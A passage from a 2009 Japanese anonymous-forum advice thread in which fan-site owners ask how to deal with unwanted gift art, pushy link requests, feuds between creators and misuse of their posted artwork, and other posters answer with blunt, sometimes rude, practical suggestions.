「煮るなり焼くなり好きにして下さい」って書いてあったから放置していいかな
逆切れされるかな

473 ：スペースNo.な-74：2009/11/27(金) 02:07:10

>>472
「感想下さい」とか「載せて下さい」となければ放置でいいと思うよ。
あっても別に募集してないなら従う必要はない。
ゲストページがあるのならそこ狙いかもしれない。
無い場合でも「作れ！そして載せろ！！」っていう厨もいるにはいる。
でももちろん従う必要はない。
逆ギレするようならフォルダ分けして見ないで削除でいいよ。
何かホイホイな要素でもあるのかね。

474 ：スペースNo.な-74：2009/11/27(金) 07:33:43

>>471
二人称「おたく」って本当にいたんだ…

475 ：スペースNo.な-74：2009/11/27(金) 07:56:51

というか>>473がすごくイタソウな人に見えるんだが

476 ：スペースNo.な-74：2009/11/27(金) 08:06:04

>>463の間違い
>>473ゴメン

477 ：スペースNo.な-74：2009/11/27(金) 08:08:58

>476
同意。>463が痛々しい

478 ：スペースNo.な-74：2009/11/27(金) 08:20:49

ここって誰のレスが痛いと思うか主張するスレだっけ？

479 ：スペースNo.な-74：2009/11/27(金) 08:27:47

そうだよ？

480 ：スペースNo.な-74：2009/11/27(金) 08:40:28

>>474
そりゃオタクの元が数十年前、漫画愛好会とか漫画研究会だの作って
漫画に入れ込んで自分たちまで漫画描いて同人誌まで作っちゃうような人達が
二人称にお宅と使ってたのがオタクと呼ばれるようになった始まりなんだから当然だよ
つーかお宅って主婦とかなら今でも近所づきあい程度の相手に使ってんじゃないの

481 ：スペースNo.な-74：2009/11/27(金) 08:41:34

書き慣れしてない感じだから>>463は浮いて見えるけど
相談の中身はよくあるｱﾃｸｼ厨の対策と同じじゃね？
痛い主張してる奴の方がスレチで痛々しいわ

>>472は交流したそうな過疎サイトに見られてるのかもね
ギャラリーの肥やしを「作ってあげた」から喜ぶはず～とか思われてるよｗ
親しい付き合い無い人なら、押し付けと同じだからスルー推奨
作品は募集してませんとトップやメールの傍にハッキリ書いとけ
構って載せると、今度は動画にしました～ニコ見てくださいとか
他のサイトのキャラ混ぜてみました～とか
調子に乗られて迷惑がエスカレートするだけだ
>>463も同じで、見たくないコメ欲しくない作品は送られなければいい

どっちもスルーとアク禁で片付く

482 ：スペースNo.な-74：2009/11/27(金) 08:44:14

>>474
ｦﾀの事じゃなくて、あなたがって意味じゃないの？
挙げ足ｳｻﾞｽ

483 ：スペースNo.な-74：2009/11/27(金) 08:48:11

＞その人よりお宅の方が上手いから嫉妬されるんじゃないの

ってすごい>>463寄りの意見過ぎて笑った

484 ：スペースNo.な-74：2009/11/27(金) 08:50:37

書き慣れているかどうかもだけど
色々な所に漂う相手への見下し感が
多分相手を刺激するんだろうなとは思う

＞私はレスもコメもせず無反応を貫いていますが

の対応をもうしているならば、それでオッケー
それ以上関わりたくないならば、アク禁以外方法はないような？

485 ：スペースNo.な-74：2009/11/27(金) 08:58:55

>>484
同意する。
しかし、相手が交流好きで複数のサイトの人と派閥みたいなの作ってると
変な噂とか流されちゃう可能性もあるけど
プレイ日記うｐてるだけで、特にイベント参加したり
データ交換とかする必要無いならば、そのへんは開き直って
我が道を行けばいいかと
（誰か信頼出来る管理人がいるならば、その人に相談しておくというのも一つの手だけど
上手く説明出来ないと、余計状況がこじれる）

何となく日記やメールでその管理人に反応すると>>463 >>465は
無駄に相手をイラっとさせる気もするから
反応は一切無しでスルー＆アク禁がいいと思う

486 ：スペースNo.な-74：2009/11/27(金) 10:23:46

定期確認：相談者は名前欄にトリップ推奨

487 ：スペースNo.な-74：2009/11/27(金) 10:29:18

>>472
自分のことを神とか読んで慕ってくれてたサイト持ちの子から
自分がサイト開設(オフ専だった)したときにお祝い絵もらったので
誠心誠意丁寧に感想とお礼を言って飾らなかったらそれきりになったよw
尊敬サイトとして貼られてたリンクも剥がされてたw

その人と仲良くしたいなら飾る
そうではないなら飾らない、でいいよ

488 ：スペースNo.な-74：2009/11/27(金) 11:09:49

>>463
自分も同ジャンルでヒキってる人なんて沢山いるよ
ヒキでいいって宣言してんなら今のまま楽しく更新でいいんじゃない？
布教布教と教祖なりきり厨は仲魔を増やしたくてしかたがないからねｗ
相手のホンネは私のお陰でヒキも交流するようになったとか自慢したいんでしょ
他のレスにもあるけど迷惑ならコメ拒否とかアク禁で充分だ
構っても相手にされないメリットないと解ればいずれ引きあげるとオモ
迷惑行為になったらホストとＩＰ持ってバイダに24してやれ

>>472
まずレスだけでヒトコトお礼だけ返して飾らないまま様子見して
押し付け厨か、善意で送ってくれただけか確認してみたら？
そういうのに限って後でトレス絵やパクリSSだった場合もあるし
飾ってから弊害あっても困るよね

489 ：スペースNo.な-74：2009/11/27(金) 14:29:51

おたくの集団ってウザくてキモいね。

490 ：スペースNo.な-74：2009/11/27(金) 15:10:33

粘着きめえ

491 ：スペースNo.な-74：2009/11/27(金) 16:34:26

>>487
自分基準で言われても困るだろ

492 ：スペースNo.な-74：2009/11/27(金) 17:31:43

回答者にもモラルが必要ですよ
邪推と自己主張したいだけのひとは
よそ行ってください

493 ：スペースNo.な-74：2009/11/27(金) 17:40:42

ヒキサイトってのは誰にも迷惑かけないんだろうから
>463の好きにすればいいと思うけど
こういうスレで対応を質問しないと右も左もわからないなら
ローカルでやってれば？と思うね

494 ：スペースNo.な-74：2009/11/27(金) 20:20:54

うん、>>489あんたが一番最高にキモいよ

495 ：スペースNo.な-74：2009/11/27(金) 21:57:48

>>463が聞きたいのは

個人的にヒキサイトで続ける二次サイトはおかしいのでしょうか？

の一点だろう？
おかしいとは思わんし、自分のサイトなんだから自由にしろ、他人にギャーギャー言われても無視すりゃいーじゃんと思うが、
ここでおかしいと言われたら閉鎖するって時点で、自分のサイトの責任を押し付けてるようでいい気がしない
イラッとするとか言われてるのはなぜか、よく考えたほうがいいんじゃない

496 ：スペースNo.な-74：2009/11/27(金) 22:00:13

463は同情レスが付かなかった時点で、もう再降臨はないんじゃないだろうか

497 ：スペースNo.な-74：2009/11/27(金) 22:40:32

>ここでおかしいと言われたら閉鎖するって時点で、自分のサイトの責任を押し付けてるようでいい気がしない

ヒキスレ見ると過去にこういう事があったからヒキサイトにしたって言ってる人が殆どだよ
他人を理由にしてヒキサイトにしたから閉鎖するのも他人の責任にするんだろ

498 ：スペースNo.な-74：2009/11/27(金) 23:02:57

勝手にすればいいでFA

499 ：463：2009/11/27(金) 23:12:54

463です。規制でレスできず、トリップもよく分からず使えませんでした；
なにより、みなさまレスありがとうございました。
私の書き込みにいろいろと注意も下さってありがとうございました
もっと客観的に考えるようにします
閉鎖すると書きましたがここのレス次第で決めるという意味ではないです

アクセス禁止や無視が一番よいとのお言葉通りにやってみます
質問したその日の夜も交流しないなんてサイトやめればとコメされましたが
今後も当たらず障らず、謂れのないことは無視でいようと思います
相手とお付き合いのある方が気付いてくれたようで
関わりたくないならシカトでいいからという内容でコメ頂きまして
488さんのレスにあるような、自分のお陰でこのジャンルがにぎわってるからと
吹聴したがる方でもあるようで、交流している方同士でも内部派閥になってる感じです
下手なレス出さないままで良かったのかなとさえ感じました

今日の夕方からは身内ともよべる顔見知りにだけパスを教えてアクセス制限して
メルフォに使っていたメアドも変えて
更新も活動も今まで通りヒキのまま様子を見ることにしました

お騒がせしてすみません、ありがとうございました

500 ：スペースNo.な-74：2009/11/27(金) 23:18:56

おたく＝同人と言われる今の世の中
私怨や厨だけでなく派閥や慣れ合い疲れが多いのもしかたないこと
>>489はスレタイから読めてない人なんだね

501 ：スペースNo.な-74：2009/11/27(金) 23:20:38

出遅れたｗ
>>463にサイトヒキーのスレでも紹介してやろうと思ったのに

まあﾃｷﾄｰにｶﾞﾝｶﾞﾚ
ヒキならスルースキルも必要だよな

502 ：スペースNo.な-74：2009/11/27(金) 23:21:53

>>472も締めてないよね、FO？

503 ：スペースNo.な-74：2009/11/28(土) 10:24:07

まんま「トリップ」でググったら1件目にWikipediaの詳細な解説が
スレに辿り着く事はできてもググれはしないのか（特定のひとりに限った話ではなく）

504 ：スペースNo.な-74：2009/11/28(土) 13:09:49

>>503
>>1だけならあくまで「推奨」だからじゃね？
必須じゃないならスルーする人もいると思う。
それに結構見落としがち。自分も最初読んだときは見落とした。
次スレでは>>3の相談者の部分にも追加しておいたほうがいいと思う。

505 ：スペースNo.な-74：2009/11/28(土) 13:50:34

>>504
＞トリップもよく分からず使えませんでした；
って本人がレスしてるからじゃね？ゴミまで付けて

506 ：スペースNo.な-74：2009/11/28(土) 15:36:29

質問です
ヒキサイトをやっています
先日リンク報告と相互リンク希望のメールが届きました
拙宅はリンク・アンリンクフリーで報告不要だと明記しています
どうしようか迷っていたら「リンクはまだか、こっちはもうリンクしたのに」というメールが来ました
相手のサイトへ行ってみるとリンクページに「相互様」として拙宅へのリンクが貼られていました

これはどのようにお返事したら良いのでしょうか…
拙宅はリンクページがないので、リンクを貼るならこの方のためだけにリンクページを作ることになります
（そしてこの方のリンクしかない状態になることでしょう）
お知恵をお貸し下さい

507 ：スペースNo.な-74：2009/11/28(土) 15:53:23

報告不要って書いてるんだったら基本放置でいいんじゃない？
気になるなら、リンクページを作る予定はないので相互できません
って返事だしとけば、
相互厨なら勝手に剥がしてくれるよ
そこでリンクページ作れとか言ってきたら完全厨なので
悪禁するなりすればいいと思う
今後のことを考えるなら、リンクに関する記述に「相互はしません」
って書き加えておくといいかもな

508 ：スペースNo.な-74：2009/11/28(土) 15:56:17

>>506
真上でトリップについての話題が出ているのに付けないとはいい度胸だ。

つ「そんなメールは届いていない」
ほっとけば向こうもはがすだろ。

509 ：スペースNo.な-74：2009/11/28(土) 16:55:27

>506
もしも相手がしつこくメールしてくるようだったら
「当方はリンク・アンリンクフリーで報告不要です。
サイトにも説明してありますのでそちらをごらんください」
とか事務的に返信して放置かな。

510 ：スペースNo.な-74：2009/11/28(土) 17:02:26

>>506
リンクページが存在するなら躊躇するが
無いなら簡単な話じゃないか？
　
「諸事情により相互リンクは承っておりません」
ふじこってきたら
「今迄お申し出頂いた方全てをお断り致しております。
　今回も例外はございません」
で個人的にじゃなくて全体的にを匂わしといたら
いくら何でも喰いついてこないだろう
　
というかヒキサイトやってる管理人がこんな事くらいで悩んでいたら
ヒキサイトなんて成り立たないだろ

511 ：506：2009/11/28(土) 17:12:54

そうですね…思い切って放置します
ありがとうございました

512 ：スペースNo.な-74：2009/11/28(土) 19:23:38

「トリップも付けられないカスだからそういうことになるんだ」でFAだろ

513 ：スペースNo.な-74：2009/11/28(土) 19:57:57

>>512
>>492

514 ：スペースNo.な-74：2009/11/28(土) 20:07:00

ヒキ系の質問者全般に言いたいけど
自称でもヒキならヒキらしく嫌な事はスルー貫く努力くらいしてくれ
我慢できないなら
ローカルかパスワードありのサイト作って親しい人だけでやってた方が
そもそも余計な問題起こらないはずだ
そうできないなら
サイトのガードつか注意書きの防御力くらい最初から上げとけ
たとえば

キリリクは受け付けてません
これ以上のコンテンツはありません
相互リンクは募集してません
メルフォのお返事は緊急のみです
拍手や掲示板はおいてません
ブクマはブラウザのみにしてます
イラ交やバトンといった交流はしてません
こちらのマナーサイトをよく読んでからメールお願いします

これくらいの言葉を加える事くらいなら
造作もないと思うけど

515 ：ネ困 ◆UxZLIUrkqE ：2009/11/28(土) 20:07:29

フェイク入りで分かり難いかもしれませんが、相談お願いします。

虹サイトでCとDというキャラを扱っています。
・Aさん→オンオフ両方。CDとDC（リバ）
・Bさん→オンオフ両方。CDオンリー。Aさんとは前のジャンルからの付き合い。
・私→オン専。CDメインでDCも少しあり。AさんBさんに限らず現ジャンルでは
誰とも面識はありません（連絡は、Aさんと電話してる以外ではネット上のみ）

今年の夏頃、Aさんと共同で「CとDの作品公募＆展示をする」企画を立てました。
カプもので、「CDは私のサイトに」「DCはAさんのサイトに」それぞれコーナーを設け
展示するというものです。
多数の作品を寄せていただき、管・閲共にとても喜んでもらえたし、楽しかったのですが、
先日、Aさんから突然「あなたのサイトにアップしているBさんの作品を下げて欲しい」と
連絡がありました。
（Bさんからは、CDの作品が出されたため、私のサイトに展示しています）
どうやらAさんBさんの間で何かトラブル（喧嘩？）があったらしいのですが、聞いても詳しくは
話してもらえず、とにかく「あなたのサイトに行って、Bさんの作品を目にするたびにムカつく」
などという感じで、手に負えない状態です。
Aさん、Bさんのサイトに行くと、それぞれにある「頂き物」コンテンツにあった、以前お互い
贈り合っていた作品が説明なしに全削除されてもいました。
ただ、日記など、表向きには「仲違いをしている」と思われる記述はありません。

私としては、Bさんから「送った作品を下げて」という連絡があった訳でもないのに、
下げるのは抵抗があります。
Bさんに、念のためメールしてみようとも思ったのですが、どういう風に聞けばいいのか。
まさか「Aさんから下げてくれと言われたのですが」と言う訳にもいかず、困っています。

こういった場合は、どうするのが良いのでしょうか。アドバイスお願いします。

516 ：スペースNo.な-74：2009/11/28(土) 20:12:17

それでもソリの合わない事や無理難題を言われてきたとしても
対処もレスもあっさり１本道で済むよね

「まず注意書きをお読みになって、ご理解したうえでコメントください」

これだけであとは無視。簡単に済むのにねｗ

517 ：スペースNo.な-74：2009/11/28(土) 20:13:03

ごめ、>>516は>>514へのレスね

518 ：ネ困：2009/11/28(土) 20:18:15

>>515
下げたくないならいただきものは描かれたご本人からの要請がない限り
下げられないと返事していいんじゃないかな。
Ａを切るならこれでいいと思う。

Ａと当たり障りなくいきたいなら企画ものは
企画跡地を作ってリンクする形で隔離してみる。
つっこまれたら他の人の作品も消さないといけないのが心苦しいくて
隔離にしたとか言い訳してかわせばいいんじゃないかな。
正直人の喧嘩に巻き込むなって感じだな。
515乙。

519 ：スペースNo.な-74：2009/11/28(土) 20:19:28

>514
つーかさヒキならヒキらしく
2chにも出て来るなって思うわー

520 ：ネ困：2009/11/28(土) 20:20:55

間違えた。
×→いただきもの
○→企画もの

Ａを切るというよりは切れてもいいなら

521 ：スペースNo.な-74：2009/11/28(土) 20:57:09

>>515
キッチリしたいなら「閲覧者の手前もあるし、自分にはBさんの作品を下げる理由がない。
下げなければならない理由もはっきりわからないのでは下げるわけにはいかない」と伝えて
理由を言わないor納得いく理由じゃないなら下げない
→Aさんとは仲違いの覚悟（人のサイトにまで口出してくるような人は思い通りにならないと勝手に怒りそう）

なあなあで済ませたいなら>>518のように企画ごと別ページに隔離して、
Bさんだけじゃなく他のいただきものを見るのにもワンクッションおく形にする

というところかなあ。面倒に巻き込まれて、乙です

522 ：スペースNo.な-74：2009/11/28(土) 21:07:24

>>515

518に同意。
さらに付け加えるなら、企画をしたのは確かに自分達だけど、企画ってのは参加者が、
それに賛同して作品を贈ってきてくれたから成り立つもの。企画者はその好意に応え、
参加者の作品を守る責任があるから、自分のサイトのものをどうこうするのとは訳が違うと思う。
だから本人の要請なく勝手に取り下げたりはできない、とでも言ってみたらどうか。

まあ、ただムカつくからといって、他人のサイトにある相手の作品の削除を強制していい道理はないわけで、
そんなことを言ってくるようなＡ相手では、通じない可能性も高いけど

523 ：スペースNo.な-74：2009/11/28(土) 21:08:07

>>519
マトモな相談先がないのもかわいそうだけどな＞ヒキ
ここではヒキの質問にもそれなりに答え出してお帰り頂くのが通例だし
>>492あたりが言ってるように回答者のモラルも試されるというかｗ

でもまあどうせ2ちゃんに来るなら
ヒキ系の専スレ探して、そっち行った方がいいとは思ったけどね

524 ：ネ困 ◆UxZLIUrkqE ：2009/11/28(土) 21:38:18

アドバイスありがとうございました。
やっぱり、人が投稿してくれた作品を、勝手な理由で下げない方が良いですね。

Aさんからは、現在もしつこく自分の要求通りにしてくれ、との連絡がきているので、
もう一度こちらの考えを話して、それでも納得してもらえないようだったら、
Aさんとは縁がなかったものとして対処します。

525 ：スペースNo.な-74：2009/11/28(土) 22:23:54

乙
ちゃんとした理由も言わずただ要求だけ突き付ける人間とは
御縁が切れる方が後々の為かもね

526 ： ◆fWdEOa8PW. ：2009/11/29(日) 04:52:59

テスト

527 ： ◆fWdEOa8PW. ：2009/11/29(日) 05:07:29

相談です。

サイト持ちです。好きなサイトAさんにこちらからお願いして、リンクを張りました。
（私もAさんもリンクは要報告、のように書いてあります）向こうからも張っていただけました。

先日、Aさんが同人以外の部分で問題を起こし、同人サイト・ブログも特定されて炎上しました。
その際こちらにも「Aさんとはどういう関係か」「親しいのか」「これからも付き合っていくのか」のような問い合わせが来たりしました。
個人特定をするためでしょうが、祭気分の人たちが
Aさんの掲示板から書き込みした人（私も含め、Aさんの知り合い等）のIPアドレスを抜き出しチェックしてます。
別に実害はないのですが気分は悪いです。
（まとめサイトにAさんとその知り合いが編集してないか、見に来てないかチェックするためだそうです）
その延焼はおいといても、Aさんのしたことがイヤなので私もAさんとは手を切りたいと思っています。
こちらからAさんに「リンクをはがします、今まで有難うございました、そちらからも消してください」
と連絡してリンクを消したのですが、Aさんからはなかなか返事が来ず、時間が経ってようやく
「自分は相互リンクを受け付けたつもりだ、そちらから頼んできて一方的に理由もなく切るのはおかしい」
（これを随分凹んだ感じの文面で）と連絡してきて、向こうからのリンクはそのままです。
Aさんサイトからのリンクを弾くと、Aさんの仲間のように表現されたことがあるので弾く以外の手段を先に考えたいです。

まず、Aさんにリンクを解除してほしいのですが、それの頼み方が私だとダメだったようなので
もっといい案があったらお願いします。
その次、リンク解除してもらえなかったとき、Aさんサイトからのリンクを弾くか、メインページもしくは日記等に
Aさんとは現在関係ない旨を書くべきか、それとも完全無視を貫くべきかアドバイスを下さい。

528 ：スペースNo.な-74：2009/11/29(日) 05:44:54

質問とはズレるけど、完全放置でAからのリンクを弾くでいいと思う。
騒動があってリンク消してと頼まれてるのに、拒否してるって時点で何を言っても無駄だろうし、
リンクを弾くとAの仲間って理屈もおかしい。それに振り回される必要は無いかと。

あと、日記やメインにAの事を書いてもヲチャを喜ばせるだけだと思う。
ヲチャは何らかの反応を楽しみたくて突っついてるだけだから
放置が一番じゃないかな。

529 ：スペースNo.な-74：2009/11/29(日) 06:30:05

>>527
もうやってるかもしれないけどＢＢＳやらブログのコメは外すか認証制のものにするといい。
ダメージはあると思うけどＡに関する話題はスルーを徹底。

>>528の言うように「リンクを弾く」ってことは「来てほしくない」ってことなんだから
リンクを弾くことで仲間になるとかないから安心して弾くといいよ。

530 ：スペースNo.な-74：2009/11/29(日) 07:00:49

リンクを弾いたら仲間ってヲチャを装ったAだったりして

531 ：スペースNo.な-74：2009/11/29(日) 07:17:46

>>527
多分リンクを外した時点でヲチ的には
「うはｗｗｗA見捨てられたｗｗｗ」
って感じに受け止めてもらえると思うので
Aサイトから来る人を弾くとどうなるか心配な場合は
リンク外しと529で様子見てみては。
それでも凸が収まらなければ弾いていいと思う。

というか、自サイトが炎上した場合はリンクページ閉鎖して
延焼を防ぐのが普通の管理人の対応なんだから
それが出来ない時点で十分に痛い人間なんだがなー。

532 ：スペースNo.な-74：2009/11/29(日) 08:26:31

>>527
理由もなく切るのがおかしいってことは、理由言ってないんだよね
なら、騒動に巻き込まれたくないしＡのやったことは自分も嫌だからと、はっきり理由も書けばいい
Ａも理由は当然推測できてるんだろうが、はっきり書いてないのを剥がさない根拠にしたいだけだから。
もうＡとは手を切るんだから、相手のことを考える必要はないよ
かわいそうに思ってそう送れないのなら、向こうから剥がしてもらうのは諦めるしかない

リンク弾いた後は、Ａのことは忘れてまとめサイトやスレは覗かないのが精神衛生上いい
自分が悪いわけじゃないんだから、ヲチャがどう反応しても気にすることないし
Ａとはもう関係ないんだしね
どうしても気になるのなら531の通りがいい

533 ： ◆fWdEOa8PW. ：2009/11/29(日) 18:55:23

527です、アドバイスありがとうございました。

私が切る理由にしたのは、実はAさんがしたこと自体ではなく
そちらからの閲覧者で迷惑をこうむっているというのでした。
Aさんは「自分のしたことは反省しないが、ヲチャで迷惑かけているのは反省する
でも自分は悪くない、ヲチャが悪い」という態度でどう接していいかわからない感じでした。
もう一度、Aさんの行為自体がイヤだと伝えます、
その後アドバイスいただいたとおり無視して様子見て、最後にはリンク弾く感じで。
何かまとまった感じがします、ありがとうございました。

534 ：スペースNo.な-74：2009/11/29(日) 19:02:26

>>533
「>ヲチャで迷惑かけているのは反省する
　と言うのであれば一時的にでもリンクページを撤去し
　リンク先へ被害が広がるのを止めるのが道理ですよ？」
と突っ込みたいな…
でも多分火に油だろうしその対応でいいと思うよ。お疲れさん。

535 ：スペースNo.な-74：2009/11/29(日) 19:20:18

>>534
それもリンク剥がしを要求できる理由になると思うけどね
迷惑かけてる自覚あるなら、及ばないようにするのが常識的な管理人だ

まあしばらく大変だろうが、がんばって

536 ：スペースNo.な-74：2009/11/29(日) 21:25:32

>>534
対策はいろいろ出つくしてるけど
何でＡが嫌なのか意思表示ハッキリさせとくのがいいよ
それでも駄目なら
時間おいて引越し（独ドメならディレクトリ移動）したりパス制にして
ヲチャも一緒に完全スルーを徹底する

痛い相手は大変だろうけど希望は捨てないで頑張れ

537 ：スペースNo.な-74：2009/11/29(日) 21:26:16

では次の人どうぞー

538 ：スペースNo.な-74：2009/12/02(水) 07:04:49

保守。平和なのはいい事です。

539 ：スペースNo.な-74：2009/12/04(金) 18:50:38

保守。そういやまだ規制は続いてるのかな？

540 ：スペースNo.な-74：2009/12/05(土) 09:20:11

うちは解除されてたー

541 ：スペースNo.な-74：2009/12/05(土) 09:30:38

で？

542 ：スペースNo.な-74：2009/12/07(月) 20:55:47

>257
全力で予約した

543 ：スペースNo.な-74：2009/12/07(月) 23:47:32

誤爆か？　平和続行

544 ：ネ困：2009/12/08(火) 09:32:23

相談させてください。
今まで同人活動はしたことがなかったのですが、最近半ナマで始めて少々悩んでいることがあります。

元々ブログをずっとやっていてそちらで萌えの吐き出しをしていました。
腐的な発言、多々あったと思います。ジャンルを問わず時々イラストなども載せていました。
また、おすすめの漫画などAmaのアフィ等貼ったりしていました。

半ナマのサイトにはパスをかけてあり、サイトからはブログを
日常雑記という形でリンクを貼っています。
(ブログからはサイトにリンクさ貼っていません)

そんな中、閲覧者の方からブログについてメールをもらったのですが
誰でも見られる場所で腐的な発言は控えるべき。
またイラストの中に半ナマジャンルがあったため、こちらもパス制にすべき
という意見をもらいました。

私は個人的には自分のブログの中だけでどのような話をしようと
いいじゃないかという気持ちと、イラストも腐的なネタだったとはいえ
年齢制限がかかるようなものでもなかったため
こちらは現状のままにしておきたい旨を(上のは伏せて)伝えました。

すると今度は、その方から半ナマの危険性などをつづって
私をジャンルの癌、腐女子の恥とするメールが複数来て悩んでいます。

このままアク禁にしようかと思いましたが、第三者のご意見を頂きたく
相談いたしました。私はやはり考えが甘かったのでしょうか。

ちなみに公式サイトなどにはサイト、ブログどちらもリンクしていません。
ジャンル他サイトへのリンクはパスをかけたサイトからのみです。

545 ：スペースNo.な-74：2009/12/08(火) 09:41:20

>>544
腐っぽい絵だけサイトに移動するかそこだけパス制にして
あとはただの一ファンによる妄想日記なんだから
ファンアート程度であれば危険でもなんでもない
腐絵でなくてもファンアートすら許さないって事務所の姿勢ならともかく
そうでない一ファンによる妄想日記なんていちいち取り締まらないよ
とりあえず腐絵だけ隠すとかすれば

546 ：スペースNo.な-74：2009/12/08(火) 09:45:48

まあ指摘した人も神経質になるのは分かる半とはいえナマはナマだから

547 ：スペースNo.な-74：2009/12/08(火) 09:54:00

>>544
事務所が厳しいところ、御本尊が腐的発想を嫌う人だった場合は
発見されるとジャンルつぶしにもなるからな…
それが発展して二次創作自体がとかなんとかを心配をしてる人もいる。

どうしても半ナマ、ナマで腐をやりたいならパス付にしたほうが安心。
今回みたいなメールも少しは減るはずだ。

パス付でもわざわざ中身を見て文句言う人もいるにはいる。

548 ：スペースNo.な-74：2009/12/08(火) 10:28:58

>>544
正直ナマ・半ナマにパス掛けたりするのは本尊がどうの事務所がどうのより
そういうめんどくさい正義厨に遭遇しないためだと割り切ったほうがいい
正義厨を片っ端からアク禁して変な噂やら悪口流されようが気にしないのなら
現状通りでいいと思うけど、そうじゃなかったらパス掛ける方が楽

549 ：スペースNo.な-74：2009/12/08(火) 10:59:02

>>544
生・半生は特に鬱陶しい正義厨がわくからな…
対応を誤ると私怨粘着化して嫌がらせされたりするし
正直本尊や事務所よりこいつらの方がよっぽど危険

参考スレ
女性向け二次同人/ﾛｰｶﾙﾙｰﾙ・ﾏﾅｰの問題点４
http://changi.2ch.net/test/read.cgi/doujin/1254737222/

550 ：スペースNo.な-74：2009/12/08(火) 11:03:51

そのブログで同人活動に関わることを書いてないんだろ？
即売会へ行ったとか、本があって嬉しいとか、素敵サイトがあるとかとか
そんなことは書かずに、ただ自分ひとりの萌えを吐き出しているだけで、
ブログから外部に出るリンクを張ってないなら、そんなに気にしなくていい
たった一人の萌えブログが会社の人間の目に留まったところで、ジャンル全体にまで波及したりしない
ただもし名前がサイトと同一なら、それだけは念のために別にしておくぐらいか

551 ：スペースNo.な-74：2009/12/08(火) 12:19:46

半生で凸されずに平穏にサイトやりたければ全部鍵かける
一人アク禁しても正義厨はジャンルにいっぱいいる

552 ：スペースNo.な-74：2009/12/08(火) 12:49:17

まあ個人的には鍵もついてないブログ(=検索かかり放題)で腐話すんなよとそもそも思うけど。
凸はしないけど炎上しても生暖かくヲチるな、きっと。可哀想にとは思わない。
取り敢えず生っぽい腐語り腐絵はサイトに隔離、普通に一方通行でブログでは
ファン語りのみなら、突っ込まれる確率はずいぶん下がると思うよ。

553 ：ネ困：2009/12/08(火) 12:57:32

自分のブログだから何書いてもいいという考え方は叩かれやすい

554 ：スペースNo.な-74：2009/12/08(火) 13:00:09

凸してきたのは一人でも苦々しく思っているジャンル者はかなりいるだろうな
それでもブログで腐語りして腐的なネタ絵も載せる主義なら
やり続ければいいんじゃない?

555 ：スペースNo.な-74：2009/12/08(火) 13:07:07

>>544
そのブログでの腐語りは名称伏字なし？
ジャンル関連の単語で検索に引っかかる状態？
ご本尊の会社がどうこうというより、一般ファンの目に止まる方が怖いかな。
普通のファンは腐が嫌いだし、偶然見つけて腐ｷﾓｲでブログ上で大暴れ
されるのは544は自業自得だとして、他所に飛び火されるのは避けたいから
同ジャンル物だとブログからの腐削除を普通すすめるわな。

生系は自分達がやってるのになんであいつはやってないんだという
右ならえな部分もあるから、周囲と軋轢を起こしたくなければ
みなと同じように腐は隠せばいいし、ジャンル内で孤立してもかまわない！自分を通す！
というのであればアク禁してこのままでいればいいよ。

心情的には>>552と一緒。

556 ：スペースNo.な-74：2009/12/08(火) 13:29:07

と、まあこんな感じで正義厨及び予備軍が大量にいるってことで
見本が見れて良かったな>>544

557 ：スペースNo.な-74：2009/12/08(火) 13:33:59

>>556
厨乙

558 ：スペースNo.な-74：2009/12/08(火) 13:48:38

>>555
ブログからサイトにもその他へのリンクもない状態なんだから
飛び火はねーだろ

559 ：スペースNo.な-74：2009/12/08(火) 13:57:42

>>558
サイトからブログを見に行った閲覧者がドン引きするってことでしょ
自分もニラニラするなぁ。
リンクされたら弾く位しか行動しないけどねー

560 ：スペースNo.な-74：2009/12/08(火) 14:08:27

>>559
なんでサイトからブログを見に行ったって話しになってるの？
サイトにはパスかかってるんだからサイトからわざわざ見に行く人はそもそもお仲間でしょ

＞そのブログでの腐語りは名称伏字なし？
＞ジャンル関連の単語で検索に引っかかる状態？
＞ご本尊の会社がどうこうというより、一般ファンの目に止まる方が怖いかな。
＞普通のファンは腐が嫌いだし、偶然見つけて腐ｷﾓｲでブログ上で大暴れ
＞されるのは544は自業自得だとして、他所に飛び火されるのは

どう読み取っても一般人が見ちゃって暴れるって話じゃん

561 ：スペースNo.な-74：2009/12/08(火) 14:11:09

これだからデリケートなジャンル（笑）は嫌なんだよ
もう他所池

562 ：スペースNo.な-74：2009/12/08(火) 15:24:48

半生では正義厨が正義なんだよw

563 ：スペースNo.な-74：2009/12/08(火) 16:21:19

相談させてください、フェイク有

サイトでイラスト､Web漫画等の展示物の使用を
物販が絡むもの以外使用フリーにしております

先日｢同人誌に使わせていただきました｣との報告を受けました
どうも注意書きを斜め読みしていらっしゃったようで
目立つ表記にしていなかった自分も悪いのでしょうがないと思っていたのですが

一応作った同人誌の写メを見せて頂いた所
8割私のサイトにアップされている展示物でびっくりしました
直ちに本の処分をお願いしたのですが逆に印刷代等の経費を弁償しろとの
お返事を頂き大変困っております

自分ではどうすることも出来ず相談できる友人等おらず
こちらにご相談にあがった次第です

564 ：スペースNo.な-74：2009/12/08(火) 16:57:23

>>563
個人使用の範囲ならＯＫって言う意味なのかな？

フェイクもあるだろうしサイトの文章を読んだわけじゃないからわからないが
その「フリー」っていうのが「個人使用の範囲ならＯＫ」ってわかるように記述してあるのなら
確実に相手がアウトだから弁償もなにも売り上げ請求してもいいぐらいだと思うぞ。

565 ：スペースNo.な-74：2009/12/08(火) 16:58:28

>>563
下手に出すぎ。
「貴方ははっきりと商用不可であることを明記してある作品を無断で販売・利益を得た。
　これは著作権違法に当たるので当方の要求を受け入れないのであれば
　しかるべき場所に相談し、しかるべき対策を取る。
　注意書きが見えなかった・気付かなかった、は通用しない。
　これに伴うそちらの損害をこちらに要求するのは筋違いであり
　これ以上要求を強めるなら脅迫と受け取りそれ相応の対応をする」
と最後通告突きつけて、それでも相手が喚くなら弁護士立てろ。
法テラスならはじめの相談は無料で聞いてもらえるよ。

566 ：544：2009/12/08(火) 18:06:28

意見ありがとうござんした。
もー、ブログは4年くらい(ドラマとか映画の感想とか載せてた。いや～あのシーンは
おいしいね、みたいな論調)版権二次にも手を出したけど
こんなん初めて。まじで半ナマは大変だわ。

とりあえず今回はアク禁、今後は自衛のためのナマ系腐話の隔離
を考えてるけど、どれを消してとか残してとか考えてると
基準が分からなくなってきたのでこれだけ聞かせて。

これらはアウト？
1、ドラマや映画の感想。あのシーンはおいしい発言
2、○○(役者名なり役名)可愛い発言
3、仲のいい人たち同士に「仲が良すぎて萌える、なんだお前ら
付き合ってんのか」みたいな発言
4、萌えたシーンを簡単なイラストにしてここは萌えた、みたいな
中にはカプ表記で～的においしいみたいのもあり。

半ナマ話題は終始こんな感じだからこのレベルで
アウトならカテゴリ全削除に近い。

